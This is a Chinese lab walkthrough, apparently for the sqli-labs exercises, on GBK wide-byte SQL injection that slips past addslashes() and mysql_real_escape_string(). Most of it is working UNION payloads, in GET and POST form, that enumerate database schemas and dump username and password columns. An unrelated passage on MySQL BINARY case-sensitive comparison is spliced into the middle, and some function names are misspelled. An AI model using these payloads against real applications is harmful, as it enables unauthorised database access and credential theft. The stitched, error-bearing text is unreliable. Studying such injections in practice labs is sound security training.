若php使用的mysql_query(“set name gbk”)将默认字符集设置为gbk,而使用addslashes()转义用户输入,这使如果用户输入%bb%27,则addslashes()会在%27前面加上一个%5c字符,即转义字符.而在mysql使用gbk编码时,会认为两个字符为一个汉字,%bb%5c是一个宽字符(前一个ascii码大于128才能到达汉字的范围)也就是籠,也就是说%bb%5c%27=籠’.这样的话’就看见逃逸出来,也就是未被\进行转义从而造成闭合语句,产生sql注入.%bb并不是唯一一个可以产生宽字符注入的字符,理论上%81到%fe都可以
爆库: -1%df%27 union select 1,2,database()--+ 爆表: -1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 或者将security转换为16进制: -1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+ 爆字段: user转换为16进制:0x7573657273 -1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+ 爆数据: -1%df%27 union select 1,group_concat(username,0x7e,password),3 from security.users--+ 或者 -1%df%27 union select 1,group_concat(username,0x7e,password),3 from users--+
注意:默认的,php对所有的get post cookie数据自动运行addslashes() (请注意:这个是在之前版本开启魔术引号时才会有的,在新版本中这个魔术引号已经废弃了). 所以不应对已转义的字符串使用addslashes(),因为这样会导致双层转义,遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测
strupslashes()函数用于删除有addslashes()函数添加的反斜杠
爆表: -1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
解决方法 1、第一种是在创建表结构时候使用binary属性来定义字段: create table if not exists user( id int unsigned primary key auto_increment, name varchar(32) binary, )engine=myisam; 或者在表结构创建好后使用alter来添加字段binary属性 alter table user modify name varchar(32) binary ;
2、第二种方法是在sql语句中使用bianry来进行区分大小写操作: SELECT * FROM user where name=binary 'maratrix'; 或者 SELECT * FROM user where binary name='maratrix'; 进过测试发现,使用SELECT * FROM user where name=binary 'maratrix';效率更高点,原因是将binary放在字符串前会使用索引(假设该字段存在索引),而将binary放在字段前面将不会使用索引,即使索引存在也不会使用。
注意 在一些语境中,假如你将一个编入索引的列派给BINARY, MySQL 将不能有效使用这个索引。
爆库: -1 union select 1,2,database()--+ 爆表: -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+ 爆字段: -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+ 爆数据:
爆位置: 0%bb%5c%5c%27 union select 1,2,3-- # 爆数据库: -1%E6' union select 1,2,database()--+ 爆表: -1%E6' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+ 爆列名: -1%E6' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+ 爆值: -1%E6' union select 1,group_concat(username,0x7e,password),3 from security.users --+
less-37POST型 - 绕过 MYSQL_real_escape_string
可见基本一致直接绕过就可
爆位置: uname=-admin%E3' union select 1,2 --+&passwd=admin&submit=Submit 爆表: uname=-admin%E3' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit 暴字段: uname=-admin%E3' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+&passwd=admin&submit=Submit 暴值: uname=-admin%E3' union select 1,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit